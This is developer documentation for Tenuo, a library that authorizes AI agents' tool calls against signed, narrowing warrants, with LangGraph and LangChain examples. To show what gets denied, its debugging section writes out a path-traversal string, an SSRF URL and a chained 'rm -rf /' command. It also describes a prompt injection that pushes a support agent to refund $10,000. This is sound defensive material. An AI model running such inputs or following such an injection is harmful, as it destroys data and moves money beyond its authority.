`staging-web` | | `?` | Match single character | `env-?` --> `env-a` | | `[abc]` | Character class | `[abc].txt` --> `a.txt` | | `[!abc]` | Negated character class | `[!0-9]*` --> non-numeric start | > [!WARNING] > **Not supported:** `{a,b}` brace alternation is **not** supported. Curly braces are treated as literal characters. Use `AnyOf` for alternation. **Common mistakes:** ```python # WRONG: Pipe is not OR in glob Pattern("weather *|news *") # Treats | as literal character # WRONG: Braces are not alternation in Tenuo patterns Pattern("{dev,staging}-*") # Matches literal "{dev,staging}-web", not "dev-web" # CORRECT: Use AnyOf() for alternation AnyOf([Pattern("dev-*"), Pattern("staging-*")]) # CORRECT: Or use OneOf for known values OneOf(["dev-web", "staging-web"]) ``` ### Prefer Explicit Over Permissive ```python # Too permissive - matches everything Pattern("*") # Better - explicit prefix Pattern("staging-*") # Best for known values - use Exact or OneOf Exact("staging-web") OneOf(["staging-web", "staging-db"]) ``` ### Keep Patterns Simple Attenuation validation works best with simple prefix/suffix patterns: ```python # Simple prefix - attenuation works reliably Pattern("/data/*") # Parent Pattern("/data/reports/*") # Child (narrower) # Complex patterns - attenuation requires exact equality Pattern("pre-*-suf") # Middle wildcard, conservative validation ``` ### Use Exact/OneOf for High-Security Cases When precision matters more than flexibility: ```python # For known, enumerable values OneOf(["read", "write", "delete"]) # For exact matches Exact("/etc/passwd") # Only this exact path # For IP ranges Cidr("10.0.0.0/8") ``` --- ## Defense in Depth: File Paths Tenuo constraints validate the **logical policy** (does the pattern allow this path?). For file operations, you should also validate the **physical path** to prevent symlink attacks and traversal. ### The One-Two Punch ```rust use path_jail; // Step 1: Tenuo validates policy if warrant.allows("read_file", &args) { // Step 2: path_jail validates filesystem reality let safe_path = path_jail::join("/data", &args.path)?; std::fs::read_to_string(safe_path)? } ``` ### Why Both? | Layer | What it catches | Example | |-------|-----------------|---------| | **Tenuo** (Pattern) | Policy violations | `path="/etc/passwd"` blocked by `Pattern("/data/*")` | | **path_jail** | Traversal attacks | `path="/data/../etc/passwd"` blocked after normalization | | **path_jail** | Symlink escapes | `path="/data/link"` where link --> `/etc` | ### Recommended Pattern ```python from path_jail import Jail # uv pip install path_jail jail = Jail("/data") @guard(tool="read_file") async def read_file(path: str) -> str: # Tenuo already validated the constraint # Now validate the actual filesystem path safe_path = jail.join(path) return safe_path.read_text() ``` **Tenuo** defines the rules. **path_jail** enforces them on the filesystem. See: [path_jail on PyPI](https://pypi.org/project/path-jail/) --- ## Developer Tools ### Debugging with `explain_constraint()` When debugging why a value was allowed or denied, use `explain_constraint()` for detailed analysis: ```python from tenuo import Subpath, UrlSafe, Shlex from tenuo.explain_constraint import explain_constraint # Detailed path analysis jail = Subpath("/data") result = explain_constraint(jail, "/data/../etc/passwd") print(result) # PathAnalysis( # input='/data/../etc/passwd', # normalized='/etc/passwd', # root='/data', # contained=False, # reason='Normalized path escapes root: /etc/passwd is not under /data' # ) # URL analysis url_constraint = UrlSafe(allow_domains=["api.example.com"]) result = explain_constraint(url_constraint, "http://127.0.0.1/admin") # UrlAnalysis(is_safe=False, reason="Host '127.0.0.1' resolves to a private IP address.") # Shell command analysis cmd_constraint = Shlex(allow=["ls", "cat"]) result = explain_constraint(cmd_constraint, "ls -la; rm -rf /") # CommandAnalysis(safe=False, dangerous_tokens=[';'], reason="Contains dangerous shell operator tokens") ``` ### One-Line Protection with `auto_guard()` For quick prototyping, `auto_guard()` applies sensible defaults based on parameter names: ```python from tenuo import auto_guard from openai import OpenAI # Automatically applies: # - Subpath("/data") to params named "path", "file", "directory" # - UrlSafe() to params named "url", "endpoint" # - Shlex([]) to params named "command", "cmd" client = auto_guard(OpenAI()) # With customization client = auto_guard( OpenAI(), root="/app/uploads", # Custom root for Subpath allowed_domains=["api.github.com"], # Custom domains for UrlSafe allowed_bins=["ls", "cat", "grep"], # Custom bins for Shlex ) ``` > **Note**: `auto_guard()` is for prototyping. In production, use explicit `GuardBuilder` configuration. --- ## Argument Extraction Tenuo enforces constraints by comparing tool arguments against warrant constraints. The extraction mechanism varies by integration but follows the same principles: 1. **Extract all arguments** - no argument should be hidden from authorization 2. **Include defaults** - default values must be checked (cannot bypass via omission) 3. **Fail securely** - if extraction fails, authorization is denied 4. **Type safety** - arguments converted to appropriate types for constraint checking ### Python SDK (`@guard`) The `@guard` decorator extracts arguments automatically using Python's `inspect.signature()` API. **Automatic extraction (default):** ```python @guard(tool="read_file") def read_file(path: str, max_size: int = 1000): with open(path) as f: return f.read()[:max_size] read_file("/data/file.txt") # args: {path: "/data/file.txt", max_size: 1000} read_file("/data/file.txt", 500) # args: {path: "/data/file.txt", max_size: 500} ``` Default values are always included. This prevents bypasses via omission. **Manual extraction (`extract_args`):** ```python @guard( tool="transfer", extract_args=lambda from_account, to_account, amount, **kw: { "source": from_account, "destination": to_account, "amount": amount } ) def transfer(from_account: str, to_account: str, amount: float, memo: str = ""): ... ``` If `extract_args` is provided, Tenuo trusts it completely. Ensure it extracts all security-relevant arguments. **Parameter renaming (`mapping`):** ```python @guard( tool="transfer", mapping={"from_account": "source", "to_account": "destination"} ) def transfer(from_account: str, to_account: str, amount: float): ... # Extracted as: {source: "...", destination: "...", amount: ...} ``` ### Gateway and MCP Extraction > **Crucial Distinction**: YAML configuration (for Gateway and MCP) is for **argument extraction**, not **authorization policy**. > > - **Extraction (YAML)**: Tells Tenuo *where* to find the "path" or "amount" in a request (e.g., "look in the JSON body at key `maxSize`"). > - **Policy (Warrants)**: Tells Tenuo *what* values are allowed (e.g., "max_size must be less than 1000"). The `tenuo-authorizer` extracts constraints from HTTP requests using YAML configuration: ```yaml tools: scale_cluster: constraints: cluster: from: path # From URL path params path: "cluster" replicas: from: body # From JSON body path: "spec.replicas" type: integer dry_run: from: query # From query string path: "dry_run" type: boolean tenant_id: from: header # From HTTP header path: "X-Tenant-Id" environment: from: literal # Static value value: "production" routes: - pattern: "/api/v1/clusters/{cluster}/scale" method: ["POST"] tool: "scale_cluster" ``` **Extraction sources:** | Source | Description | Example | |--------|-------------|---------| | `path` | URL path parameter from route pattern | `/{cluster}/scale` --> `cluster` | | `query` | Query string parameter | `?dry_run=true` --> `dry_run` | | `header` | HTTP header value | `X-API-Key: abc123` | | `body` | JSON body field (dot notation) | `{"spec": {"replicas": 5}}` --> `spec.replicas` | | `literal` | Static value | Always returns configured value | **Type conversion:** | Type | Description | Example | |------|-------------|---------| | `string` | Default, no conversion | `"hello"` | | `integer` | Parse as integer | `"42"` --> `42` | | `float` | Parse as float | `"3.14"` --> `3.14` | | `boolean` | Parse as boolean | `"true"` --> `true` | Body extraction uses dot notation for nested fields: `spec.replicas` matches `{"spec": {"replicas": 5}}`. ### Extraction Security **Default values must be checked:** ```python # Vulnerable: extract_args omits max_size @guard(tool="read_file", extract_args=lambda path, **kw: {"path": path}) def read_file(path: str, max_size: int = 999999): ... # Secure: automatic extraction includes defaults @guard(tool="read_file") def read_file(path: str, max_size: int = 1000): ... ``` **All security-relevant parameters must be extractable:** ```python # Vulnerable: table not extracted, attacker can query any table @guard(tool="query", extract_args=lambda query, **kw: {"query": query}) def query_db(query: str, table: str = "users"): ... # Secure: automatic extraction includes both @guard(tool="query") def query_db(query: str, table: str = "users"): ... ``` **Extraction failures block authorization** (fail closed). If `inspect.signature().bind()` raises `TypeError`, the call is denied and an audit event is logged. --- ## Gateway Configuration Reference The gateway configuration file defines how the Tenuo authorizer maps HTTP requests to tools and extracts constraint values. ### Basic Structure ```yaml version: "1" settings: warrant_header: "X-Tenuo-Warrant" pop_header: "X-Tenuo-PoP" clock_tolerance_secs: 30 trusted_roots: - "f32e74b5b8569dc288db0109b7ec0d8eb3b4e5be7b07c647171d53fd31e7391f" tools: tool_name: description: "Human-readable description" constraints: field_name: from: path|query|header|body|literal path: "json.path.to.value" required: true|false type: string|integer|float|boolean routes: - pattern: "/api/v1/{param}/{action}" method: ["GET", "POST"] tool: "tool_name" ``` ### Settings | Field | Type | Default | Description | |-------|------|---------|-------------| | `warrant_header` | string | `X-Tenuo-Warrant` | HTTP header containing base64-encoded warrant or WarrantStack | | `pop_header` | string | `X-Tenuo-PoP` | HTTP header containing base64-encoded PoP signature | | `clock_tolerance_secs` | int | `30` | Seconds of tolerance for expiration checks | | `trusted_roots` | list | `[]` | Hex-encoded public keys of trusted control planes | | `debug_mode` | bool | `false` | Enable detailed deny reasons in response headers | > **Security Warning**: Never enable `debug_mode` in production. It exposes internal authorization details that could help attackers understand your security model. ### Routes Routes map HTTP requests to tools: ```yaml routes: - pattern: "/api/v1/clusters/{cluster}/scale" method: ["POST"] tool: "scale_cluster" - pattern: "/api/v1/files/{path}" method: ["GET", "POST", "DELETE"] tool: "manage_files" - pattern: "/api/v1/admin/{action}" method: ["POST"] tool: "admin_action" extra_constraints: admin_key: from: header path: "X-Admin-Key" required: true ``` Patterns use `{param}` placeholders. Method list can be empty to match any method. ### Performance Route matching uses O(log n) radix tree (matchit), method matching uses O(1) bitmask, and constraint extraction uses pre-compiled paths. ### Validation The authorizer validates configuration on startup: ```bash $ tenuo-authorizer serve --config gateway.yaml # Validation errors: # - routes[2]: Tool 'undefined_tool' is not defined # - tools.read_file.constraints.path: Body extraction requires a path ``` --- ## See Also - [Explorer Playground](https://tenuo.ai/explorer/): Test constraints interactively - [AI Agent Patterns](./ai-agents): P-LLM/Q-LLM, prompt injection defense - [API Reference](./api-reference): Full constraint API and CLI reference - [Security](./security): How constraints fit into the security model - [LangGraph Integration](./langgraph): Using constraints with LangGraph - [Enforcement Architecture](./enforcement): Deployment models and proxy configurations --- # Tenuo LangGraph Integration Source: https://tenuo.ai/langgraph Tenuo stops LangChain agents from doing more than the task requires. A warrant defines which tools the agent may call, the allowed argument values (paths, URLs, shell commands, amounts), and when it expires. Tenuo checks every call before the tool runs and blocks anything outside the warrant, even when the model has been prompt-injected. Warrants are bound to the agent holding them, so a copied warrant can't be used, and authority can only shrink as it passes to sub-agents. With signed receipt collection enabled, each decision over a presented warrant produces verifiable evidence. See [tenuo.ai](https://tenuo.ai) for the full docs, or the source on [GitHub](https://github.com/tenuo-ai/tenuo). --- ## Why Tenuo for LangGraph? **Scenario**: You're building a customer support system with tiered agents. Tier 1 agents can refund up to $50. Tier 2 agents can refund up to $500. How do you enforce this? Without Tenuo, you'd hardcode limits in your tools or add if-statements. But when a prompt injection says "Override the limit and refund $10,000", the LLM might believe it and try. With Tenuo, the constraint is cryptographically enforced: ```python from langchain_core.tools import tool from langchain_core.messages import HumanMessage from langgraph.graph import StateGraph, MessagesState from tenuo import SigningKey, Warrant, Range from tenuo.langgraph import TenuoToolNode # Keys: control plane issues warrants, agents hold them control_plane_key = SigningKey.generate() tier1_agent_key = SigningKey.generate() # Tier 1 agent: can only refund up to $50 tier1_warrant = (Warrant.mint_builder() .capability("lookup_order") .capability("process_refund", amount=Range(min=0, max=50)) .holder(tier1_agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Tools @tool def lookup_order(order_id: str) -> str: """Look up an order by ID.""" return f"Order {order_id}: $120 widget" @tool def process_refund(order_id: str, amount: float) -> str: """Process a refund for an order.""" return f"Refunded ${amount} for order {order_id}" # Build graph with TenuoToolNode (drop-in replacement for ToolNode) graph_builder = StateGraph(MessagesState) # ... add your agent node here ... graph_builder.add_node("tools", TenuoToolNode([lookup_order, process_refund])) graph = graph_builder.compile() # Run with warrant in state result = graph.invoke({ "messages": [HumanMessage("refund order 123 for $75")], "warrant": str(tier1_warrant), }) ``` **What happens when the LLM calls `process_refund(amount=75)`?** ``` 1. LLM decides to call process_refund(order_id="123", amount=75) ↓ 2. TenuoToolNode intercepts the tool call ↓ 3. Extracts warrant from state, binds signing key from KeyRegistry ↓ 4. Checks: Is process_refund in warrant? Does amount=75 satisfy Range(min=0, max=50)? ↓ 5. NO → Returns error ToolMessage. The refund never executes. ``` The warrant is the authority, not the LLM's judgment. Even if the model is tricked into calling `process_refund(amount=10000)`, the warrant says `Range(min=0, max=50)` and the call fails. Period. --- ## Quick Start For a LangGraph `StateGraph`, use `TenuoToolNode` as a drop-in replacement for `ToolNode`. For LangChain 1.x `create_agent()`, use `TenuoMiddleware` below. ```python from langgraph.graph import StateGraph, MessagesState from langchain_core.tools import tool from langchain_core.messages import HumanMessage from tenuo import SigningKey, Warrant from tenuo.langgraph import TenuoToolNode, load_tenuo_keys # 1. Load keys from environment load_tenuo_keys() # Loads TENUO_KEY_DEFAULT, TENUO_KEY_WORKER_1, etc. issuer = SigningKey.generate() agent_key = SigningKey.generate() # 2. Define tools @tool def search(query: str) -> str: """Search the web.""" return f"Results for {query}" @tool def read_file(path: str) -> str: """Read a file.""" return open(path).read() # 3. Build graph with TenuoToolNode (replaces ToolNode) graph_builder = StateGraph(MessagesState) # ... add your agent node here ... graph_builder.add_node("tools", TenuoToolNode([search, read_file])) graph = graph_builder.compile() # 4. Mint a warrant and invoke warrant = (Warrant.mint_builder() .capability("search") .capability("read_file") .holder(agent_key.public_key) .ttl(3600) .mint(issuer)) result = graph.invoke({ "messages": [HumanMessage("search for AI papers")], "warrant": str(warrant), }) ``` ### TenuoToolNode vs TenuoMiddleware | Feature | TenuoToolNode | TenuoMiddleware | |---------|---------------|-----------------| | **Use when** | Existing `StateGraph` / `ToolNode` | LangChain 1.x `create_agent()` | | **Status** | Stable | Stable | | **Integration** | Drop-in replacement for `ToolNode` | Native LangChain middleware API | | **Tool filtering** | No | Auto-hides unauthorized tools from LLM | | **Requires** | langgraph | `langchain>=1.0` | Both use the same `enforce_tool_call` path. --- ## TenuoMiddleware (LangChain 1.x `create_agent()`) > Recommended for `create_agent()`. Requires `langchain>=1.0`. For a custom `StateGraph`, use `TenuoToolNode`. A runnable example is [`create_agent_middleware.py`](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/langchain/create_agent_middleware.py). ```python from typing import Any from langchain.agents import create_agent from langchain.agents.middleware import AgentState from langchain_core.messages import HumanMessage from langchain_core.tools import tool from tenuo import HolderIdentity, Pattern, Runtime, SigningKey, Warrant from tenuo.keys import KeyRegistry from tenuo.langgraph import TenuoMiddleware @tool def search(query: str) -> str: """Search customer records. Use the query format ``customers:``.""" return f"3 records match {query!r}" @tool def delete_record(record_id: str) -> str: """Delete a customer record.""" return f"record {record_id} deleted" class TenuoAgentState(AgentState): warrant: Any # TenuoMiddleware reads the warrant from agent state issuer_key = SigningKey.generate() # issues warrants holder = HolderIdentity.generate() # the agent's key, used for proof of possession KeyRegistry.get_instance().register("support-agent", holder.signing_key) # Collect signed receipts for authorization decisions made over the warrant. runtime = Runtime( identity=holder, trusted_roots=[issuer_key.public_key], receipts="collect", ) agent = create_agent( model="openai:gpt-4.1", tools=[search, delete_record], state_schema=TenuoAgentState, middleware=[ TenuoMiddleware( key_id="support-agent", trusted_roots=[issuer_key.public_key], # only accept warrants from this issuer ) ], ) # search is allowed only for customer queries; delete_record is not granted warrant = ( Warrant.mint_builder() .holder(holder.public_key) .capability("search", query=Pattern("customers:*")) .ttl(3600) .mint(issuer_key) ) with runtime.bind(): result = agent.invoke({ "messages": [HumanMessage("Search customer records for customers:acme")], "warrant": str(warrant), # base64 token; safe to checkpoint }) signed_receipts = runtime.peek_receipts() ``` Calls outside the warrant (an ungranted tool, or `search` with a query that does not match `customers:*`) come back to the model as an error `ToolMessage`, and the tool body never runs. The linked example is the deterministic run: it allows `search("customers:acme")`, denies `delete_record`, and verifies the signed allow and deny receipts. This snippet calls a live model, which may choose a different tool call, so `signed_receipts` can be empty. --- ## Key Concepts ### Keys Stay Out of State **The Problem**: LangGraph checkpoints state to databases (Redis, Postgres, etc.). If you put a `SigningKey` in state, your private key gets persisted --a serious security risk. **The Solution**: Warrants travel in state (they're just signed claims, no secrets). Keys stay in `KeyRegistry` (in-memory only). Only a string `key_id` flows through config. ```python # CORRECT: Warrant as string in state, key_id in config state = {"warrant": str(warrant), "messages": [...]} # str() = base64, safe for JSON config = {"configurable": {"tenuo_key_id": "worker"}} # Just a string ID graph.invoke(state, config=config) # At execution, TenuoToolNode looks up the key from KeyRegistry # Key never leaves memory, never hits the checkpoint database # WRONG: Key in state (gets persisted to database!) state = {"warrant": warrant, "key": signing_key} # Security risk! ``` ### Convention Over Configuration Load keys automatically from environment variables: ```python from tenuo.langgraph import load_tenuo_keys # Before app startup, set env vars: # TENUO_KEY_DEFAULT=base64encodedkey... # TENUO_KEY_WORKER_1=base64encodedkey... # TENUO_KEY_ORCHESTRATOR=base64encodedkey... load_tenuo_keys() # Registers all TENUO_KEY_* vars # Keys are now available: # - "default" (from TENUO_KEY_DEFAULT) # - "worker-1" (from TENUO_KEY_WORKER_1) # - "orchestrator" (from TENUO_KEY_ORCHESTRATOR) ``` --- ## API Reference ### `TenuoToolNode` **Recommended**: drop-in replacement for LangGraph's `ToolNode` with automatic authorization: ```python from tenuo.langgraph import TenuoToolNode from langchain_core.tools import tool @tool def search(query: str) -> str: return f"Results for {query}" @tool def calculator(expression: str) -> str: # Use a sandboxed arithmetic parser (e.g. `simpleeval`) in real code. # Never pass LLM-provided strings to eval() / exec() / compile(). from simpleeval import simple_eval return str(simple_eval(expression)) # Create secure tool node tool_node = TenuoToolNode([search, calculator]) # With constraint requirement tool_node = TenuoToolNode([search, calculator], require_constraints=True) graph.add_node("tools", tool_node) ``` **Parameters:** | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `tools` | `List[BaseTool]` | required | Tools to make available | | `require_constraints` | `bool` | `False` | Require constraints for sensitive tools | | `trusted_roots` | `List[PublicKey]` | `None` | Trusted issuer keys to anchor verification on | | `warrant_chain` | `List[Warrant]` | `None` | Default parents for graphs without a `warrant_chain` state field | | `key_id` | `str` | `None` | Signing key to use, overriding the config value | **How it works:** 1. Extracts warrant from state, plus any parents in `warrant_chain` 2. Gets key from registry (via `key_id` in config or "default") 3. Authorizes each tool call via shared enforcement logic 4. Returns error ToolMessage if authorization fails ### `TenuoMiddleware` Recommended for LangChain 1.x `create_agent()`. Requires `langchain>=1.0`. ```python from tenuo.langgraph import TenuoMiddleware # Basic usage middleware = TenuoMiddleware() # With configuration middleware = TenuoMiddleware( key_id="worker", # Explicit key (default: from config or "default") filter_tools=True, # Hide unauthorized tools from LLM (default: True) require_constraints=False, # Require constraints for sensitive tools ) # Use with create_agent() from langchain.agents import create_agent agent = create_agent( model="gpt-4.1", tools=[search, calculator], middleware=[middleware], ) ``` **Parameters:** | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `key_id` | `str` | `None` | Key ID to use (overrides config) | | `filter_tools` | `bool` | `True` | Filter tools shown to LLM based on warrant | | `require_constraints` | `bool` | `False` | Require constraints for sensitive tools | **Hooks:** | Hook | Purpose | |------|---------| | `wrap_model_call` | Filters tools to only those in warrant | | `wrap_tool_call` | Authorizes each tool call with PoP | ### `load_tenuo_keys()` Load signing keys from environment variables matching `TENUO_KEY_*`. ```python from tenuo.langgraph import load_tenuo_keys # Naming convention: TENUO_KEY_{NAME} -> key_id="{name}" (lowercase, underscores to hyphens) # TENUO_KEY_WORKER_1 -> "worker-1" # TENUO_KEY_DEFAULT -> "default" load_tenuo_keys() ``` ### `KeyRegistry` Thread-safe in-memory singleton for key management. **Essential for LangGraph** because it keeps private keys out of checkpointed state. ```python from tenuo import KeyRegistry, SigningKey registry = KeyRegistry.get_instance() # At startup: register keys (keys live in memory only) registry.register("worker", SigningKey.from_env("WORKER_KEY")) registry.register("orchestrator", SigningKey.from_env("ORCH_KEY")) # At execution: lookup by ID (the ID is just a string, safe anywhere) key = registry.get("worker") # Multi-tenant: namespace keys per tenant registry.register("worker", key1, namespace="tenant-a") registry.register("worker", key2, namespace="tenant-b") ``` > See [API Reference](./api-reference#keyregistry) for full method documentation. ### `guard_node(node, key_id=None, inject_warrant=False)` Wrap a pure node function with Tenuo authorization. ```python from tenuo.langgraph import guard_node # Basic usage - key_id from config or "default" def my_node(state): return {"result": "done"} graph.add_node("my_node", guard_node(my_node)) # Explicit key_id graph.add_node("worker", guard_node(worker_node, key_id="worker-1")) # Inject BoundWarrant for advanced use. The injected warrant carries the roots # from tenuo.configure(trusted_roots=[...]); validate() fails closed without one. def node_with_warrant(state, bound_warrant): if bound_warrant.validate("search", {"query": "test"}, warrant_chain=state.get("warrant_chain")): return {"authorized": True} return {"authorized": False} graph.add_node("checker", guard_node(node_with_warrant, inject_warrant=True)) ``` **Parameters:** | Parameter | Type | Description | |-----------|------|-------------| | `node` | `Callable` | The node function to wrap | | `key_id` | `str` | Key ID to use (default: from config or "default") | | `inject_warrant` | `bool` | If True, inject `bound_warrant` parameter | ### `@tenuo_node` Decorator for nodes that need explicit BoundWarrant access: ```python from tenuo.langgraph import tenuo_node @tenuo_node def my_agent(state, bound_warrant): # Check permissions if bound_warrant.allows("search"): # ... pass # Delegate to sub-agent child = bound_warrant.grant( to=worker_pubkey, allow=["search"], ttl=60 ) return {"messages": [...], "warrant": str(child)} graph.add_node("agent", my_agent) ``` --- ## Patterns ### Pattern 1: TenuoToolNode (Recommended) The cleanest integration for any LangGraph graph: ```python from langgraph.graph import StateGraph, MessagesState from langchain_core.tools import tool from langchain_core.messages import HumanMessage from tenuo import SigningKey, Warrant, Range from tenuo.langgraph import TenuoToolNode, load_tenuo_keys load_tenuo_keys() issuer = SigningKey.generate() agent_key = SigningKey.generate() @tool def search(query: str) -> str: """Search the web.""" return f"Results for {query}" @tool def read_file(path: str) -> str: """Read a file.""" return open(path).read() @tool def write_file(path: str, content: str) -> str: """Write a file.""" open(path, "w").write(content) return f"Wrote {path}" # Build graph with TenuoToolNode graph_builder = StateGraph(MessagesState) # ... add your agent node here ... graph_builder.add_node("tools", TenuoToolNode([search, read_file, write_file])) graph = graph_builder.compile() # Run with different warrants for different access levels readonly_warrant = (Warrant.mint_builder() .capability("search") .capability("read_file") .holder(agent_key.public_key) .ttl(3600) .mint(issuer)) readwrite_warrant = (Warrant.mint_builder() .capability("search") .capability("read_file") .capability("write_file") .holder(agent_key.public_key) .ttl(3600) .mint(issuer)) # Read-only user result = graph.invoke({ "messages": [HumanMessage("read config.yaml")], "warrant": str(readonly_warrant), }) # Read-write user result = graph.invoke({ "messages": [HumanMessage("write to /tmp/output.txt")], "warrant": str(readwrite_warrant), }) ``` ### Pattern 2: Pure Nodes with `guard_node()` Keep your node functions pure (no Tenuo imports): ```python # nodes.py - Pure business logic def researcher(state): query = state["messages"][-1].content results = web_search(query) return {"results": results} def writer(state): content = generate_content(state["results"]) return {"output": content} # graph.py - Wire up with security from tenuo.langgraph import guard_node graph.add_node("researcher", guard_node(researcher, key_id="worker")) graph.add_node("writer", guard_node(writer, key_id="worker")) ``` ### Pattern 3: Nodes that Need Warrant Access Use `inject_warrant=True` or `@tenuo_node`: ```python from tenuo.langgraph import guard_node def smart_router(state, bound_warrant): # Route based on available permissions if bound_warrant.allows("write_file"): return {"next": "writer"} elif bound_warrant.allows("search"): return {"next": "researcher"} else: return {"next": "fallback"} graph.add_node("router", guard_node(smart_router, inject_warrant=True)) ``` ### Pattern 4: Delegation A delegated warrant is signed by the agent that delegated it, not by a trusted root. Presented on its own it is denied with **`Root warrant issuer is not trusted`**, because the only warrant the verifier sees was issued by a key it has no reason to trust. The sub-agent must also present the path back to a trusted root. Carry that path in a `warrant_chain` state field, root-first and **excluding** the leaf in `warrant`: ```python from typing import Annotated, Any, TypedDict from langgraph.graph.message import add_messages class State(TypedDict): messages: Annotated[list, add_messages] warrant: Any # the agent's own (possibly delegated) warrant warrant_chain: list # its parents, root-first, excluding `warrant` ``` Each delegating node appends its own warrant to the chain it received: ```python from tenuo import Pattern from tenuo.langgraph import tenuo_node @tenuo_node def orchestrator(state, bound_warrant): worker_warrant = bound_warrant.grant( to=worker_pubkey, allow=["search"], ttl=60, query=Pattern("safe*"), ) return { "messages": [...], "warrant": worker_warrant, "warrant_chain": [*state.get("warrant_chain", []), bound_warrant.warrant], } ``` `TenuoToolNode` and `TenuoMiddleware` read the field automatically and verify the full chain. Entries may be `Warrant` objects or base64 tokens. A chain that does not hash-link to the leaf, or that does not root in one of `trusted_roots`, is denied: supplying a chain cannot widen authority, only prove it. You only get away without a chain when the delegating agent is itself a trusted root, which stops being true as soon as a third level appears. #### Supplying the chain outside state When a graph cannot thread the field through state, set a default once at construction: ```python researcher_tools = TenuoToolNode([search_tool], warrant_chain=[root_warrant]) ``` Or wrap the invocation in a chain scope: ```python from tenuo import SigningKey, Warrant, chain_scope, warrant_scope, key_scope issuer = SigningKey.generate() orchestrator = SigningKey.generate() worker = SigningKey.generate() root = (Warrant.mint_builder() .capability("search").capability("read_file") .holder(orchestrator.public_key).ttl(3600).mint(issuer)) child = (root.grant_builder() .capability("search") .holder(worker.public_key).ttl(1800).grant(orchestrator)) with chain_scope([root]): with warrant_scope(child): with key_scope(worker): # Tool calls here use check_chain for full chain verification pass ``` The state field takes precedence over the constructor default, which takes precedence over `chain_scope()`. ### Pattern 5: Multi-Tenant Key Isolation Use namespaced keys for tenant isolation: ```python from tenuo import KeyRegistry registry = KeyRegistry.get_instance() # Register tenant-specific keys registry.register("worker", tenant_a_key, namespace="tenant-a") registry.register("worker", tenant_b_key, namespace="tenant-b") # In your node, determine namespace from state/context def tenant_aware_node(state, bound_warrant): tenant_id = state.get("tenant_id", "default") key = registry.get("worker", namespace=tenant_id) # ... ``` --- ## Error Handling Authorization errors return `ToolMessage` with `status="error"` and canonical wire codes: ```python # TenuoToolNode returns error messages, not exceptions result = graph.invoke(state) for msg in result["messages"]: if hasattr(msg, "status") and msg.status == "error": print(f"Authorization denied: {msg.content}") # Content includes request_id for log correlation # Parse wire code from content if needed for programmatic handling ``` ### Wire Code Support For programmatic error handling, all `TenuoError` exceptions include canonical wire codes: ```python from tenuo.exceptions import TenuoError, ConstraintViolation try: result = graph.invoke(state) except ConstraintViolation as e: print(f"Wire code: {e.get_wire_code()}") # 1501 print(f"Wire name: {e.get_wire_name()}") # "constraint-violation" print(f"HTTP status: {e.get_http_status()}") # 403 ``` ### Common Errors | Error | Wire Code | Cause | Fix | |-------|-----------|-------|-----| | `ConfigurationError` | 1201 | Missing 'warrant' field in state | Add warrant to state: `{"warrant": str(warrant), ...}` | | `ConfigurationError` | 1201 | Key not registered | Register key or use `load_tenuo_keys()` | | `ConfigurationError` | 1201 | No trusted roots configured | Pass `trusted_roots=[...]` or call `tenuo.configure(trusted_roots=[...])` | | `ToolNotAuthorized` | 1500 | Tool not in warrant | Check warrant constraints with `why_denied()` | | Denied: `Root warrant issuer is not trusted` | 1400 | Delegated warrant presented without its parents | Add `warrant_chain` to state (see [Pattern 4](#pattern-4-delegation)) | | Denied: `chain broken: child parent_hash mismatch` | 1405 | `warrant_chain` does not hash-link to the leaf | Present the real parents, root-first, excluding the leaf | | `ConstraintViolation` | 1501 | Argument violates constraint | Request within bounds | | `ExpiredError` | 1300 | TTL exceeded | Request fresh warrant | See [wire format specification](./spec/wire-format-v1#appendix-a-error-code-reference) for the complete list. --- ## Security Notes ### Error Messages are Opaque By default, authorization errors don't reveal constraint details: ```python # Client sees: "Authorization denied (ref: abc123)" # Logs show: "[abc123] Tool 'search' denied: query=/etc/passwd, expected=Pattern(/data/*)" ``` This prevents attackers from learning your constraint boundaries. ### BoundWarrant is Never Serialized `BoundWarrant` contains a private key and will raise `TypeError` if serialization is attempted: ```python # This will fail state["bound_warrant"] = bound_warrant # TypeError on checkpoint # Correct: unbind before storing state["warrant"] = bound_warrant.warrant # Just the warrant (serializable) ``` ### `allows()` is Not Authorization `allows()` is for UX hints only: ```python # OK for UI hints if bound_warrant.allows("delete"): show_delete_button() # WRONG: Not a security check! if bound_warrant.allows("delete"): delete_database() # No PoP verification, no issuer check! # Correct: validate() checks issuer trust, PoP, and constraints if bound_warrant.validate("delete", args, warrant_chain=state.get("warrant_chain")): delete_database() ``` ### Lazy Key Binding `BoundWarrant.bind(key)` performs **lazy validation**. It does not verify that the key matches the warrant's `holder` at binding time. Instead, validation happens at **usage time** (inside `validate()`). The `validate()` method generates a Proof-of-Possession signature using the bound key. If the key is incorrect, the core Rust logic will reject the signature, and `validate()` will return a failed `ValidationResult`. This ensures security without requiring stateful validation during graph transitions. `validate()` also checks that the warrant's issuer chains back to a trusted root, so it needs an anchor: the `trusted_roots` argument, the roots given at bind time, `tenuo.configure(trusted_roots=[...])`, or the active `Runtime`. With none of those it raises `ConfigurationError` rather than trusting the warrant's own issuer. Warrants injected by `guard_node` and `@tenuo_node` inherit the configured roots. --- ## Migration from Context-Based API If you were using `@tenuo_node(Capability(...))` with `mint()`: ```python # OLD (context-based) @tenuo_node(Capability("search")) async def researcher(state): ... async with mint(Capability("search")): await graph.ainvoke(state) # NEW (state-based) from tenuo.langgraph import guard_node def researcher(state): ... graph.add_node("researcher", guard_node(researcher)) graph.invoke({"warrant": str(warrant), "messages": [...]}) ``` --- ## Human Approval Add human-in-the-loop approval for sensitive tool calls. Approval gates are defined in the warrant, and `approval_handler` is passed to the adapter. See [Human Approvals](approvals.md) for the full guide. ```python from tenuo import cli_prompt # Approval gates are in the warrant: # .approval_gates({"delete_database": None}) # .required_approvers([approver_key.public_key]) # TenuoToolNode (StateGraph) tool_node = TenuoToolNode( tools, approval_handler=cli_prompt(approver_key=approver_key), ) # TenuoMiddleware (create_agent) middleware = TenuoMiddleware( approval_handler=cli_prompt(approver_key=approver_key), ) ``` --- ## See Also - [LangChain Integration](./langchain) -- Tool protection for LangChain - [Human Approvals](./approvals) -- Approval gates and handlers guide - [FastAPI Integration](./fastapi) -- Zero-boilerplate API protection - [Security](./security) -- Threat model, best practices - [API Reference](./api-reference) -- Full Python API documentation --- # Tenuo LangChain Integration Source: https://tenuo.ai/langchain > **Note on examples.** Snippets on this page use `configure(..., dev_mode=True)` for brevity. `dev_mode=True` relaxes several safety checks and is not suitable for production. 